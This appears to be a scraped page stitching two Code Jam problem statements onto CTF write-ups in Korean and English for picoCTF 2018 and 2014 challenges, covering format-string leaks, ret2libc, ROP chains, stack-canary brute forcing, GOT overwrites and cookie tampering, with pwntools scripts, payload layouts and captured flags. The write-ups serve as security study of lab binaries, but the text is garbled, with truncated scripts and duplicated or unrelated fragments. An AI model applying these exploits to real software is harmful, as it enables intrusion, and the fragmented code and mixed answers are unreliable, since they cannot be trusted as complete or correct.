Someone just won the Code Jam lottery, and we owe themNjamcoins! However, when we tried to print out an oversized check, we encountered a problem. The value ofN, which is an integer, includes at least one digit that is a4... and the4key on the keyboard of our oversized check printer is broken.
Fortunately, we have a workaround: we will send our winner two checks for positive integer amounts A and B, such that neither A nor B contains any digit that is a4, and A + B =N. Please help us find any pair of values A and B that satisfy these conditions.
Input
The first line of the input gives the number of test cases,T.Ttest cases follow; each consists of one line with an integerN.
Output
For each test case, output one line containingCase #x: A B, wherexis the test case number (starting from 1), andAandBare positive integers as described above.
It is guaranteed that at least one solution exists. If there are multiple solutions, you may output any one of them. (See "What if a test case has multiple correct solutions?" in the Competing section of theFAQ. This information about multiple solutions will not be explicitly stated in the remainder of the 2019 contest.)
Limits
1 ≤T≤ 100. Time limit: 10 seconds per test set. Memory limit: 1GB. At least one of the digits ofNis a 4.
Test set 1 (Visible)
1 <N< 105.
Test set 2 (Visible)
1 <N< 109.
Solving the first two test sets for this problem should get you a long way toward advancing. The third test set is worth only 1 extra point, for extra fun and bragging rights!
Test set 3 (Hidden)
1 <N< 10100.
Sample
In Sample Case #1, notice that A and B can be the same. The only other possible answers are1 3and3 1.
You have just entered the world's easiest maze. You start in the northwest cell of anNbyNgrid of unit cells, and you must reach the southeast cell. You have only two types of moves available: a unit move to the east, and a unit move to the south. You can move into any cell, but you may not make a move that would cause you to leave the grid.
You are excited to be the first in the world to solve the maze, but then you see footprints. Your rival, Labyrinth Lydia, has already solved the maze before you, using the same rules described above!
As an original thinker, you do not want to reuse any of Lydia's moves. Specifically, if her path includes a unit move from some cell A to some adjacent cell B, your path cannot also include a move from A to B. (However, in that case, it is OK for your path to visit A or visit B, as long as you do not go from A to B.) Please find such a path.
In the following picture, Lydia's path is indicated in blue, and one possible valid path for you is indicated in orange:
Input
The first line of the input gives the number of test cases,T.Ttest cases follow; each case consists of two lines. The first line contains one integerN, giving the dimensions of the maze, as described above. The second line contains a stringPof 2N- 2 characters, each of which is either uppercaseE(for east) or uppercaseS(for south), representing Lydia's valid path through the maze.
Output
For each test case, output one line containingCase #x: y, wherexis the test case number (starting from 1) andyis a string of 2N- 2 characters each of which is either uppercaseE(for east) or uppercaseS(for south), representing your valid path through the maze that does not conflict with Lydia's path, as described above. It is guaranteed that at least one answer exists.
Limits
1 ≤T≤ 100. Time limit: 15 seconds per test set. Memory limit: 1GB. Pcontains exactlyN- 1Echaracters and exactlyN- 1Scharacters.
Test set 1 (Visible)
2 ≤N≤ 10.
Test set 2 (Visible)
2 ≤N≤ 1000.
Test set 3 (Hidden)
For at most 10 cases, 2 ≤N≤ 50000. For all other cases, 2 ≤N≤ 10000.
Sample
In Sample Case #1, the maze is so small that there is only one valid solution left for us.
Sample Case #2 corresponds to the picture above. Notice that it is acceptable for the paths to cross.
Sorry... We dont have any information about %p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p
---------------------------------------
Enter the name of Rifle to get info:
^C
보면 주소랑 스택이랑 줄줄 샌다.. 처음에 몇몇 주소들이 릭되고 9번째 인자부터 보면 스택의 내용이 그대로 릭되는걸 볼 수 있다. (빨간색 글씨가 스택의 내용물)
이 다음에 해야 할 것은 프로그램의 보안기법을 확인하는것.
chanbin_lee123@linux:~$ gdb -q armoury
Reading symbols from armoury...(no debugging symbols found)...done.
gdb-peda$ checksec
CANARY : ENABLED
FORTIFY : disabled
NX : ENABLED
PIE : ENABLED
RELRO : FULL
Canary (Stack Smashing Protector, Cookie): 카나리는 널바이트로 끝나는 문자열인데, sfp와 ret 전에 위치하고 있다. (스택에 들어가있다는 뜻) 프로그램이 종료되기 전 이 값을 초기에 로드했던 값과 비교하는데, 이 값이 스택에서 변조되어 있으면 버퍼오버플로우 취약점으로 인해 값이 변조된걸 알아채고 프로그램을 그자리에서 끔살시켜버린다. 정말로 어마무시한 기법이 아닐 수가 없다. (하지만 위에서 말했던 대로 스택이 줄줄 새는 상태에서 카나리라고 안 샐 법이 없겠지?)
NX: Non-executable - 스택에 실행권한이 없다. 쉘코드를 스택에 올려서 돌리는 짓을 할 수 없다 이말이다.
ELF: Executables and Linkable Format 바이너리 파일. 실행파일임. ROP에 사용할 수 있는 가젯들을 포함하고 있다.
PIE: Position Independent Executable - PIE == ASLR이라는 소리를 들었는데 아니라더라.(젠장) PIE의 뜻은 님의 ELF파일을 실행했을때 임의의 주소에 얹혀서 돌아갈거란 소리임 (.data .code..등등). "objdump -d <ELF executable>"로 확인하면 주소값이 주소가 아닌 오프셋으로 나와있는게 보인다. 랜덤한 베이스 주소에 오프셋을 더해서 프로그램을 돌림. 그래서 하고싶은 말은 ROP를 하려면 가젯을 사용하고 싶은데 어떤 주소를 써야할지 모르겠는 상황이 와버림. 근데 오프셋은 똑같으니 베이스 주소만 있으면 오프셋 더해서 아무거나 호출할 수 있음.
ASLR (non-PIE): 스택, 힙, 라이브러리(libc)의 주소를 임의로 정한다. non-PIE가 걸리면 적어도 메인 바이너리는 늘 같은 곳에 로드될거란 뜻
RELRO: 이게 FULL이면 GOT Overwrite가 불가능하다. GOT가 읽기권한으로 스폰되기 때문임.
2. 여기저기서 준비물 모으기
필요한거: - 카나리 릭
- 가젯 (pop rdi; ret)
- libc 주소 세개:
- libc 베이스 주소
- libc베이스부터 system()까지의 오프셋
- libc베이스부터 "/bin/sh"까지의 오프셋
2.1. 카나리 릭
gdb로 까서 main에 브포를 걸어서 (b *main) 대충 실행하고 (r) 프로그램에 대충 입력("BBBB")을 주고 브포가 걸리면 $rsp에 뭐가 들었나 구경해보자.
스택에 있는 정보를 릭할 수 있는건 이미 알고 있으니까 이번에는 어떤 것을 릭해야하는지 알아보는 차례.
BBBB (0x42424242)가 보인당. 좀 더 보다보면 카나리가 보인당. (널바이트로 끝남) 카나리 뒤의 sfp도 보이고, ret주소도 보인다.
스택의 시작이 %9$p였으므로 카나리는 %13$p, sfp는 %14$p로 구할 수 있다!
2.2. ELF 베이스 주소
SFP(저장된 RBP)를 보고 위의 정보와 비교해보면, %14$p에서 마지막 세 바이트만 0으로 대체하면 베이스 주소를 얻을 수 있는게 보인다.
가젯을 쓰려면 오프셋이 필요하니까 이 주소도 필요하다.
2.3. LIBC 베이스 주소
이번엔 giveInfo에 브포를 건다. 프로그램을 실행할 때 %3$p를 주면 gdb-peda가 주소를 하나 뱉는다.
위처럼 libc베이스 주소를 참조하여 필요한 물건들의 오프셋을 구한다. 배고프다.
gdb-peda$ p 0x7ffff7b15970-0x00007ffff7a3a000
$1 = 0xdb970
gdb-peda$ p system
$2 = {<text variable, no debug info>} 0x7ffff7a79480 <__libc_system>
- Knowledge of 64-bit environments and its difference from 32-bit environments (optional) - "scanf will quite happily read null bytes. it only stops at white space - strcpy/strcat are the functions you should worry about null bytes" -brx
P.S: How to set ASLR on on gdb (turns off every instance):
set disable-randomization off
This writeup is based on Naivenom's writeup from the CTF which can be foundhere.
1. Examining the program
When we boot up the program, we can clearly see the program has a format string bug:
Sorry... We dont have any information about %p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p
---------------------------------------
Enter the name of Rifle to get info:
^C
As per the bolded text, we can see that there are some addresses leaking (we will observe this later), and then further, the material in the stack highlighted in red. We can observe that the stack information is leaked from the 9th argument (after 9 "%p"s).
Let's check the security on the program.
chanbin_lee123@linux:~$ gdb -q armoury
Reading symbols from armoury...(no debugging symbols found)...done.
gdb-peda$ checksec
CANARY : ENABLED
FORTIFY : disabled
NX : ENABLED
PIE : ENABLED
RELRO : FULL
Canary (Stack Smashing Protector, Cookie): A null-byte terminated string that is located before the saved stack frame pointer (RBP) and return address (RET). This is a value that the program compares to its original value (__stack_chk_fail) before it returns. If this value is overwritten because of a buffer overflow vulnerability, the program will realize that it will not be safe to continue and will terminate the program.
NX: Non-executable bit - you will not be able to execute any kind of shellcode by placing them on the stack.
ELF: Executables and Linkable Format
PIE: Position Independent Executable - All the sections of the program are randomly loaded into memory. (This includes the .data and .code section of the program). But, since the PIE only changes the executable's base address, you will be able to see that if you execute the command "objdump -d <ELF executable>" the output will only give offsets. And these offsets are static!
ASLR (non-PIE): Changes the position of stack, heap, library (but the main executable will get loaded in the same address.)
RELRO: Basically a full RELRO means that you won't be able to do anything like a GOT overwrite.
2. Gathering materials
What we need: - Leaked canary
- Gadget (pop rdi; ret)
- Three libc addresses:
- base of libc
- (offset to) system()
- (offset to) "/bin/sh"
2.1. Getting the Canary
So, we already know from the first format string bug, that we are able to access information on the stack.
I first put a breakpoint in main (using the b *main command) and ran the program, giving "BBBB" as the input.
At the breakpoint, we can investigate the value of $rsp to see what we have.
As you may observe, we have BBBB (0x42424242) on the stack. We can also see the canary (ending with a null byte), the saved RBP, and return address, all highlighted above.
The canary is located right before the stack frame pointer. As we know that the stack is leaked after 9 %ps, we can conclude that the canary is the 13th argument, the sfp is 14th, and the return address is the 15th argument we can receive from our format string.
2.2. Getting the ELF base address
When we observe the saved RBP, we can see that if we null the last three bytes out, we will be able to get the base ELF address.
This will be useful to us when we obtain our gadget as offsets from the base address.
2.3. Getting the LIBC base address
Breakpoint at giveInfo to set a stop, so that we can observe the registers and addresses. (b giveInfo)
Run the program. (r)
There we can see the address we get from executing scanf("%3$p"); (third argument of the output)
If we take a look at our third argument that gets leaked, we can use that leaked address to get the offset to our libc as shown above. We need grab a few more values too.
gdb-peda$ p 0x7ffff7b15970-0x00007ffff7a3a000
$1 = 0xdb970
gdb-peda$ p system
$2 = {<text variable, no debug info>} 0x7ffff7a79480 <__libc_system>
gdb-peda$ p 0x7ffff7a79480 -0x00007ffff7a3a000
$3 = 0x3f480
We see that:
%3$p: Address of <__write_nocancel+7>
Offset to libc: 0xdb970
Offset from libc to system: 0x3f480
--> %3$p - offset to libc + offset from libc to system = address of system (in libc)
Calculate all the addresses I need using the offsets. If any of these calculations don't make sense, refer back to section 2.3 - I've explained a little bit there.
I also cast the canary to int here, and calculate the ELF base address.
If you do a &0xfff operation, you get the last three bytes of a number - so we can just subtract this from the original address and we get the base address.
As written above (POC) this is the generic ret2libc payload. Since the argument to system() is passed on through RDI we load the address of /bin/sh on RDI (using pop rdi) and call system().
5. Full Exploit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from pwn import*
r = process("./armoury")
payload =""
r.recvuntil("Enter the name of Rifle to get info:\n")
int flag() { char flag[48]; FILE *file; file = fopen("flag.txt", "r"); if (file == NULL) { printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n"); exit(0); }
setvbuf(stdout, NULL, _IONBF, 0); // Set the gid to the effective gid gid_t gid = getegid(); setresgid(gid, gid, gid); // real pw: FILE *file; char password[64]; char name[256]; char password_input[64]; memset(password, 0, sizeof(password)); memset(name, 0, sizeof(name)); memset(password_input, 0, sizeof(password_input)); printf("What is your name?\n"); fgets(name, sizeof(name), stdin); char *end = strchr(name, '\n'); if (end != NULL) { *end = '\x00'; }
strcat(name, ",\nPlease Enter the Password.");
file = fopen("password.txt", "r"); if (file == NULL) { printf("Password File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n"); exit(0); }
setvbuf(stdout, NULL, _IONBF, 0); // Set the gid to the effective gid // this prevents /bin/sh from dropping the privileges gid_t gid = getegid(); setresgid(gid, gid, gid);
Basically you want to send 148 bytes of stuff, a return address (which is a call to system()), a dummy (which is the return address coming from system()), and the address of /bin/sh (given through the program output)
If you run the program multiple times, you realize that the function addresses keep changing - yikes seems like ASLR!
That's why I recommended the readings above because you can bypass this.
First calculate the offset from libc <--> puts on gdb, then calculate the offset from libc <--> system because offsets are set values.
Because the program hands the address of puts to you after it's run, you don't have to worry about ASLR after implementing the code
The most challenging part was actually coding this up because it's been a while since I've ever touched python (about 5 years) and back then I wasn't even proficient either so.. after a lot of debugging I came up with the following code.
The nop is 160 long because if the exploit doesn't work with 148, basically just go up with multiples of 4 until you make it :)
from pwn import *
r = process('/problems/got-2-learn-libc_0_4c2b153da9980f0b2d12a128ff19dc3f/vuln')
[*] Closed connection to 2018shell.picoctf.com port 52398
got-shell?
Points: 350
Can you authenticate to this service and get the flag? Connect to it with nc 2018shell.picoctf.com 46464.
Ever heard of the Global Offset Table?
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <sys/types.h>
void win() {
system("/bin/sh");
}
int main(int argc, char **argv) {
setvbuf(stdout, NULL, _IONBF, 0);
char buf[256];
unsigned int address;
unsigned int value;
puts("I'll let you write one 4 byte value to memory. Where would you like to write this 4 byte value?");
scanf("%x", &address);
sprintf(buf, "Okay, now what value would you like to write to 0x%x", address);
puts(buf);
scanf("%x", &value);
sprintf(buf, "Okay, writing 0x%x to 0x%x", value, address);
puts(buf);
*(unsigned int *)address = value;
puts("Okay, exiting now...\n");
exit(1);
}
So... I don't have a strong understanding of PLT / GOT either, all I know is that processes reference to them in order to execute library functions, such as printf(), puts(), exit()... etc.
I'll let you write one 4 byte value to memory. Where would you like to write this 4 byte value?
0804a014
Okay, now what value would you like to write to 0x804a014
804854b
Okay, writing 0x804854b to 0x804a014
Okay, exiting now...
ls
auth
auth.c
flag.txt
xinet_startup.sh
cat flag.txt
picoCTF{m4sT3r_0f_tH3_g0t_t4b1e_7a9e7634}
rop chain
Points: 350
Can you exploit the following program and get the flag?
Try and call the functions in the correct order!
Remember, you can always call main() again!
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdbool.h>
#define BUFSIZE 16
bool win1 = false;
bool win2 = false;
void win_function1() {
win1 = true;
}
void win_function2(unsigned int arg_check1) {
if (win1 && arg_check1 == 0xBAAAAAAD) {
win2 = true;
}
else if (win1) {
printf("Wrong Argument. Try Again.\n");
}
else {
printf("Nope. Try a little bit harder.\n");
}
}
void flag(unsigned int arg_check2) {
char flag[48];
FILE *file;
file = fopen("flag.txt", "r");
if (file == NULL) {
printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
exit(0);
}
fgets(flag, sizeof(flag), file);
if (win1 && win2 && arg_check2 == 0xDEADBAAD) {
printf("%s", flag);
return;
}
else if (win1 && win2) {
printf("Incorrect Argument. Remember, you can call other functions in between each win function!\n");
}
else if (win1 || win2) {
printf("Nice Try! You're Getting There!\n");
}
else {
printf("You won't get the flag that easy..\n");
}
}
void vuln() {
char buf[16];
printf("Enter your input> ");
return gets(buf);
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
gid_t gid = getegid();
setresgid(gid, gid, gid);
vuln();
}
Seems like you'll have to call win_function1 --> win_function2 --> flag in order to satisfy all conditions.
Sounds like rtl(return-to-libc) chaining. Guess we can call that rop(return-oriented-programming) too.
What we need: 1. Address to win_function1()
2. Address to win_function2()
3. Address to flag()
4. Gadget : pop ret
What we want the payload to look like:
[Buffer 16 bytes + x amount of padding (that you can determine by brute forcing)] [win1 address 4 bytes] [win2 address 4 bytes] [pop ret gadget 4 bytes] [ 0xBAAAAAAD ] [flag address 4 bytes] [dummy 4 bytes] [ 0xDEADBAAD ]
Please read up on return-to-libc and some rop articles if you don't understand why the payload is as is.
Simply put, after returning from win2, you know that win2 takes one parameter (0xBAAAAAAD). So you have to jump over that one argument in order to execute flag(). (Basically what pop ret does.) If win2 were to take two parameters, you would have to find a pop pop ret gadget.
[+] Starting local process '/problems/rop-chain_0_6cdbecac1c3aa2316425c7d44e6ddf9d/rop': pid 1887127
Enter your input>
picoCTF{rOp_aInT_5o_h4Rd_R1gHt_536d67d1}
[*] Stopped process '/problems/rop-chain_0_6cdbecac1c3aa2316425c7d44e6ddf9d/rop' (pid 1887127)
buffer overflow 3
Points: 450
It looks like Dr. Xernon added a stack canary to this program to protect against buffer overflows. Do you think you can bypass the protection and get the flag?
Maybe there's a smart way to brute-force the canary?
Took me much longer than it should've.
I read the following writeup after searching for 'brute-force stack canary':
printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
exit(0);
}
fgets(buf,FLAGSIZE,f);
puts(buf);
fflush(stdout);
}
char global_canary[CANARY_SIZE];
void read_canary() {
FILE *f = fopen("canary.txt","r");
if (f == NULL) {
printf("Canary is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
exit(0);
}
fread(global_canary,sizeof(char),CANARY_SIZE,f);
fclose(f);
}
void vuln(){
char canary[CANARY_SIZE];
char buf[BUFSIZE];
char length[BUFSIZE];
int count;
int x = 0;
memcpy(canary,global_canary,CANARY_SIZE);
printf("How Many Bytes will You Write Into the Buffer?\n> ");
while (x<BUFSIZE) {
read(0,length+x,1);
if (length[x]=='\n') break;
x++;
}
sscanf(length,"%d",&count);
printf("Input> ");
read(0,buf,count);
if (memcmp(canary,global_canary,CANARY_SIZE)) {
printf("*** Stack Smashing Detected *** : Canary Value Corrupt!\n");
exit(-1);
}
printf("Ok... Now Where's the Flag?\n");
fflush(stdout);
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
int i;
gid_t gid = getegid();
setresgid(gid, gid, gid);
read_canary();
vuln();
return 0;
}
Read the writeup above, implement the code.
Brute-force each canary byte by checking whether you've overwritten the value with something that the program can't detect (correct canary byte) or one that gives you an error (wrong canary byte)
After your canary is cooked up, send the payload with a return address to win()
#!/usr/bin/env python
from pwn import *
canary = ""
canary_offset = 32
guess = 0x0
win = 0x80486eb
buf = ""
buf += "A" * canary_offset
while len(canary) < 4:
while guess != 0xff:
#try:
r = process('/problems/buffer-overflow-3_4_931796dc4e43db0865e15fa60eb55b9e/vuln')
r.recvuntil("How Many Bytes will You Write Into the Buffer?\n> ")
print "Canary:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
r = process('/problems/buffer-overflow-3_4_931796dc4e43db0865e15fa60eb55b9e/vuln')
r.recvuntil("How Many Bytes will You Write Into the Buffer?\n> ")
r.sendline("200")
r.recvuntil("Input> ")
r.send(buf + canary + p32(win)*10)
print r.recv(timeout=5)
me: so... do I need to know how to calculate the padding?
friend: no, because you'll usually be able to see it in your ida. since you have the source code here, you know it's safe to just put random numbers of stuff
[+] Starting local process '/problems/buffer-overflow-3_4_931796dc4e43db0865e15fa60eb55b9e/vuln': pid 54329
[*] Process '/problems/buffer-overflow-3_4_931796dc4e43db0865e15fa60eb55b9e/vuln' stopped with exit code 255 (pid 54329)
*** Stack Smashing Detected *** : Canary Value Corrupt!
[...]
[+] Starting local process '/problems/buffer-overflow-3_4_931796dc4e43db0865e15fa60eb55b9e/vuln': pid 58571
[*] Process '/problems/buffer-overflow-3_4_931796dc4e43db0865e15fa60eb55b9e/vuln' stopped with exit code 0 (pid 58571)
Ok... Now Where's the Flag?
Guessed correct byte: 25
Canary:\x3c\x7a\x4f\x25
[+] Starting local process '/problems/buffer-overflow-3_4_931796dc4e43db0865e15fa60eb55b9e/vuln': pid 58573
Ok... Now Where's the Flag?
picoCTF{eT_tU_bRuT3_F0Rc3_9bb35cfd}
echo back
Points: 500
This program we found seems to have a vulnerability. Can you get a shell and retreive the flag? Connect to it with nc 2018shell.picoctf.com 37402.
hmm, printf seems to be dangerous...
You may need to modify more than one address at once.
Ever heard of the Global Offset Table?
Great opportunity to solidify my understanding of PLT / GOT. :')
Although I watched a walkthrough of this problem, I still struggled with the concepts of FSB + GOT/PLT, so I got a friend to step me through the problem, literally hold my hand, and explain what had to be done.
Some few things he has mentioned:
1. It's easier (to understand your own payload + calculate offsets) if you put all the necessary addresses at the very beginning of your payload
2. If you have a negative offset that you have to overwrite, (e.g. you want to write 0x0804 but you already have outputted 0x8230 characters) you can use 0x10804 instead, with the %hn function in order to only write the last two bytes.
3. PLT is read-only.
After listening to his lecture for a while I went and watched the video above because for some reason, navigating through a program using gdb still sometimes confuses me over and the knowledge didn't seem to be sticking with me.
When you call a function, it jumps to PLT.
PLT contains a jump to the GOT.
GOT is a table, empty when you look at the binary file but once you run your program and your library is loaded, the addresses will be dynamically linked to the procedure so that another jump from the GOT will lead at the function at LIBC.
If you understand what a FSB is and how you can overwrite GOT with it, along with knowing the overall concept of got/plt you're ready for this problem.
WHAT WE WANT TO DO
printf@GOT --> system@PLT
puts@GOT --> &main
There are a lot of ways to get addresses but let's use the one I learned recently because I feel proud of myself:
The reason you overwrite it to system@plt - first of all, you gotta overwrite GOT because you can't overwrite PLT
After you overwrite say, printf@GOT to system@PLT, the function will call vuln again (puts@GOT --> &main) the printf call at PLT will jump to system@PLT, which will then be jump to system@GOT and system@LIBC
from pwn import *
r = remote('2018shell.picoctf.com', 37402)
# r = process('/home/EverTokki/echoback/echoback')
system_plt = 0x08048460
printf_got_1 = 0x0804a010
printf_got_2 = 0x0804a012
puts_got_1 = 0x0804a01c
puts_got_2 = 0x0804a01e
main = 0x08048643
# buffer is located at 7th argument
# load addresses into buffer
# printf_got 2 bytes each
payload = p32(printf_got_1)
payload += p32(printf_got_2)
# puts_got 2 bytes each
payload += p32(puts_got_1)
payload += p32(puts_got_2)
# 16 bytes written
# overwrite printf @ GOT (which is the library address to printf)--> system @ plt
[*] Closed connection to 2018shell.picoctf.com port 37402
Not on topic but I really need to come up with some smart solution to embedding code on my blog..
are you root?
Points: 550
Can you get root access through this service and get the flag? Connect with nc 2018shell.picoctf.com 26847.
If only the program used calloc to zero out the memory..
Okay. Instead of the usual documenting-after-solve, I'll write things as I go.
This is a case of a use-after free bug. I was first introduced to it because my friend, cd80, had written a document on it (Korean): https://cd80.tistory.com/40
Instead of calloc, you're using malloc - this does not clean out your heap space after you finish using it. That's not good.
I kinda already knew this method, so the only thing I really have to do is understand how the bug works and how to implement an exploit.
Reading symbols from gets...(no debugging symbols found)...done.
gdb-peda$checksec
CANARY: disabled
FORTIFY : disabled
NX: ENABLED
PIE : disabled
RELRO : Partial
gdb-peda$
1. Look at the source code; we don't have a system call or anything, only gets() --> we want to build a ROP chain for execve("/bin/sh")
We're going to do this using gadgets. Gadgets, in this case, will help you store information in the registers because the system call uses registers to pass on arguments (this may depend because arguments can be passed on the stack too)
You could either refer to the linux sys call page or check out the man page to execve.
int execve(const char *filename, char *const argv[], char *const envp[]);
"The plan is now to pop the address 0x080e9f5c into edx and the value /bin into eax. The address is arbitrary, but chosen such that we don’t overwrite anything important or that the address contains NULL bytes."
Okay, for some reason, I wasn't able to overwrite the memory just with '/bin/sh', I had to add a padding - but now it works. We have "/bin/sh" in memory.
I calculated the padding wrong, It's supposed to be 28 bytes.
Hello! Today I'm going to write simple writeups(without reasonings) to wrap-up what I've solved in the picoctf2014. Please feel free to ask questions for specific problems/reasonings in the comments.Hope you enjoy.
Tyrannosaurus Hex - 10
The contents of the flash drive appear to be password protected. On the back of the flash drive, you see the hexadecimalnumber 0x912d2e43 scribbled in ink. The password prompt, however, only acceptsdecimalnumbers. What number should you enter?
0x912d2e43=2435657283
No Comment - 20
The CD you find has a copy of your father's website: homepage.html. Maybe something is hidden in the site...
Chrome right click, click inspect element;
"<!-- In case you forget, the password for this site is: flag_bf207f2786e38ceb49fa66d36f996d5ac2cbfd6b -->"
Common Vulnerability Exercise - 20
This disc is encrypted. The surprisingly elaborate password hint refers to "the CVE Identifierfor a 2014 vulnerability that allowed arbitrary code execution in Firefox via a buffer overflow in a speech codec". If you found this "CVE-ID" thingy, it'd probably be the password.
Go to https://cve.mitre.org and put in for keyword, 'arbitrary code execution in Firefox via a buffer overflow in a speech codec'. Plug in a few cve's; CVE-2014-1542
Caesar - 20
You find an encrypted message written on the documents. Can you decrypt it? encrypted.txt:
The hard drive may be corrupted, but you were able to recover a small chunk of text. Scribbled on the back of the hard drive is a set of mysterious numbers. Can you discover the meaning behind these numbers? (1, 9, 4) (4, 2, 8) (4, 8, 3) (7, 1, 5) (8, 10, 1)
(Paragraph #, Line #, Word # from left side) makes up "the flag is Ceremonial plates"
Internet Inspection - 30
On his computer, your father left open a browser with the Thyrin Lab Website. Can you find the hidden access code?
Open Google Chrome, go to inspect elements, open tab on the gridded bit of the website ->flag_9128b5712ce17849f619b5a082e4367f7a9c0d08
RoboPhoto - 30
Your father has been known to use the titles of his favorite books as passwords. While you don't remember any of the names of the books, your father keeps a posterfor one of them on his wall. Can you figure out the name of the book and unlock the CD?
Go to google images and paste the image's url, hit enter.The Positronic Man
This is the Endian - 40
This is the end! Solving this challenge will help you defeat Daedalus's cyborg. You can find more information about endianness and the problem here. The flag is the smallest possible program input that causes the program to print "Access Granted".
0x52657663 & 0x30646521 in little endian-" \x63\x76\x65\x52 &\x21\x65\x64\x30". Plug the values into 'data preview' below; \x63\x76\x65\x52\x21\x65\x64\x30; You get the values in ASCII.cveR!ed0
Supercow - 40
Daedalus Corp. has a special utility for printing .cow files at /home/daedalus/supercow. Can you figure out how to get it to print out the flag?
The police need help decrypting one of your father's files. Fortunately you know where he wrote down all his backup decryption keys as a backup (probably not the best security practice). You are looking for the key corresponding to daedaluscorp.txt.enc. The file is stored on the shell server at/problems/grepfriend/keys.
Grep it.
Grep it.
pico19855@shell:/home/daedalus$ cd /problems/grepfriend
This problem has a buffer overflow vulnerability! Can you get a shell, then use that shell to read flag.txt? You can solve this problem interactively here, and the source can be foundhere.
Daedalus Corp. uses a web interfaceto control some of their toaster bots. It looks like they removed the command 'Shutdown & Turn Off' from the control panel. Maybe the functionality is still there...
You see the url of any button:http://web2014.picoctf.com/toaster-control-1040194/handler.php?action=Blink%20Lights
Change it tohttp://web2014.picoctf.com/toaster-control-1040194/handler.php?action=Shutdown%20%26%20Turn%20Off
Toaster Defense System Controls
Shutting down
Shutdown code:flag_c49bdkeekr5zqgvc20vc
ZOR - 50
Daedalus has encrypted their blueprints! Can you get us the password? ZOR.py encrypted
There's an authorization code for some Thyrin Labs information here, along with someone's favorite song. But it's been encrypted! Find the authorization code. encrypted.txt:
mid ofminzujomunc snvd ug kumiobbmidsnbnzgnwmidkucv
ynf miucq ue oc ulcnzocm gotold
ocv ynftd addc gn eocy xbosdg
u lfdgg um efgm ad gn
afm gmubb u soccnm gdd
uw mid gotold ncd ug ed
ink soc midzd ad gn efsi miom ynf vncm qcnk
ynf vncm qcnk
ynf miucq ynf nkc kiomdtdz bocv ynf bocv nc
mid dozmi ug rfgm o vdov miucl ynf soc sboue
afm u qcnk dtdzy znsq ocv mzdd ocv szdomfzd
iog o buwd iog o gxuzum iog o coed
ynf miucq mid ncby xdnxbd kin ozd xdnxbd
ozd mid xdnxbd kin bnnq ocv miucq buqd ynf
afm uw ynf kobq mid wnnmgmdxg nw o gmzocldz
ynfbb bdozc miuclg ynf cdtdz qcdk ynf cdtdz qcdk
iotd ynf dtdz idozv mid knbw szy mn mid abfd snzc ennc
nz ogqdv mid lzuccucl anasom kiy id lzuccdv
soc ynf gucl kumi obb mid tnusdg nw mid enfcmoucg
soc ynf xoucm kumi obb mid snbnzg nw mid kucv
soc ynf xoucm kumi obb mid snbnzg nw mid kucv
sned zfc mid iuvvdc xucd mzoubg nw mid wnzdgm
sned mogmd mid gfcgkddm adzzudg nw mid dozmi
sned znbb uc obb mid zusidg obb oznfcv ynf
ocv wnz ncsd cdtdz kncvdz kiom midyzd knzmi
mid zoucgmnze ocv mid zutdz ozd ey aznmidzg
mid idznc ocv mid nmmdz ozd ey wzudcvg
ocv kd ozd obb snccdsmdv mn dosi nmidz
uc o suzsbd uc o innx miom cdtdz dcvg
ink iuli kubb mid gysoenzd lznk
uw ynf sfm um vnkc midc ynfbb cdtdz qcnk
ocv ynfbb cdtdz idoz mid knbw szy mn mid abfd snzc ennc
wnz kidmidz kd ozd kiumd nz snxxdz gquccdv
kd cddv mn gucl kumi obb mid tnusdg nw mid enfcmoucg
kd cddv mn xoucm kumi obb mid snbnzg nw mid kucv
ynf soc nkc mid dozmi ocv gmubb
obb ynfbb nkc ug dozmi fcmub
ynf soc xoucm kumi obb mid snbnzg nw mid kucv
I always use this site. Go there and paste the text above.
the authorization code is withallthecolorsofthewind
you think im an ignorant savage and youve been so many places i guess it must be so but still i cannot see if the savage one is me how can there be so much that you dont know you dont know you think you own whatever land you land on the earth is ~ust a dead thing you can claim but i know every rock and tree and creature has a life has a spirit has a name you think the only people who are people are the people who look and think like you but if you walk the footsteps of a stranger youll learn things you never knew you never knew have you ever heard the wolf cry to the blue corn moon or asked the grinning bobcat why he grinned can you sing with all the voices of the mountains can you paint with all the colors of the wind can you paint with all the colors of the wind come run the hidden pine trails of the forest come taste the sunsweet berries of the earth come roll in all the riches all around you and for once never wonder what theyre worth the rainstorm and the river are my brothers the heron and the otter are my friends and we are all connected to each other in a circle in a hoop that never ends how high will the sycamore grow if you cut it down then youll never know and youll never hear the wolf cry to the blue corn moon for whether we are white or copper skinned we need to sing with all the voices of the mountains we need to paint with all the colors of the wind you can own the earth and still all youll own is earth until you can paint with all the colors of the wind
Function Address - 60
We found this program fileon some systems. But we need the address of the 'find_string' function to do anything useful! Can you find it for us?
You have found the administrative control panel for the Daedalus Coperation Website: https://web2014.picoctf.com/delicious-5850932/login.php. Unfortunately, it requires that you be logged in. Can you find a way to convince the web site that you are, in fact, logged in?
I used the Google Chrome extension, EditThisCookie. In the cookie value <session_id> is your session stored. Change it to numbers 1~50 (50, I'd recommend,) and the flag pops up once you refresh the page.
Welcome! You've been here before.
Your session number is 50.
We'll be tracking you using this number whenever you visit this site.
You're logged in as Dr. Florian Richards.
Today's secret Daedalus code is: session_cookies_are_the_most_delicious
Overflow 2 - 70
This problem has a buffer overflow vulnerability! Can you get a shell? You can solve this problem interactively here, and the source can be found here.
shell login: pico19855
Password:
